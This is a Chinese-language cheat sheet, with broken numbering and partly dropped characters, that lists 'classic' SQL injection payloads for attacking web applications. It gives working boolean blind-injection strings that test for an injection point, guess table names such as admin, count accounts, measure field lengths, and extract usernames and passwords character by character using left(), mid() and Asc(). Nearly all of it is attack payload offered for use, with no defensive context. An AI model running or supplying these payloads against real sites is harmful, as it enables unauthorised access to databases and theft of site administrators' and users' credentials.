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必备Sql语句:(经典语句)

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  1. 1. 判断有无注入点  ; and 1=1 and 1=2
  2.   2.猜表般表名称无非admin adminuser user pass
  3.   password 等..
  4.   and 0(select count(*) from *)
  5.   and 0(select
  6.   count(*) from admin) ---判断否存admin这张表
  7.   3.猜帐号数目 如果遇00)--
  8.   and 1=(select
  9.   count(*) from admin where len(户字段名称name)>0)
  10.   and 1=(select count(*) from
  11.   admin where len(密码字段名称password)>0)
  12.   5.猜解各个字段长度
  13.   猜解长度就>0变换 直返回确页面止
  14.   and 1=(select count(*) from admin where
  15.   len(*)>0)
  16.   and 1=(select count(*) from admin where len(name)>6) 误
  17.   and 1=(select count(*) from admin where len(name)>5) 确 长度6
  18.   and
  19.   1=(select count(*) from admin where len(name)=6) 确
  20.   and 1=(select
  21.   count(*) from admin where len(password)>11) 确
  22.   and 1=(select count(*)
  23.   from admin where len(password)>12) 误 长度12
  24.   and 1=(select count(*) from
  25.   admin where len(password)=12) 确
  26.   6.猜解字符
  27.   and 1=(select count(*) from
  28.   admin where left(name,1)=a) ---猜解户帐号第位
  29.   and 1= (select count(*) from admin
  30.   where left(name,2)=ab)---猜解户帐号第二位
  31.   就这样次加个字符这样猜,猜够刚才猜出少位就,帐号就算出
  32.   and 1=(select top 1 count(*) from Admin where Asc(mid (pass,5,1))=51) --
  33.   这个查询语句以猜解文户密码.只面数字换成文ASSIC码就OK.最结果再转换成字符.
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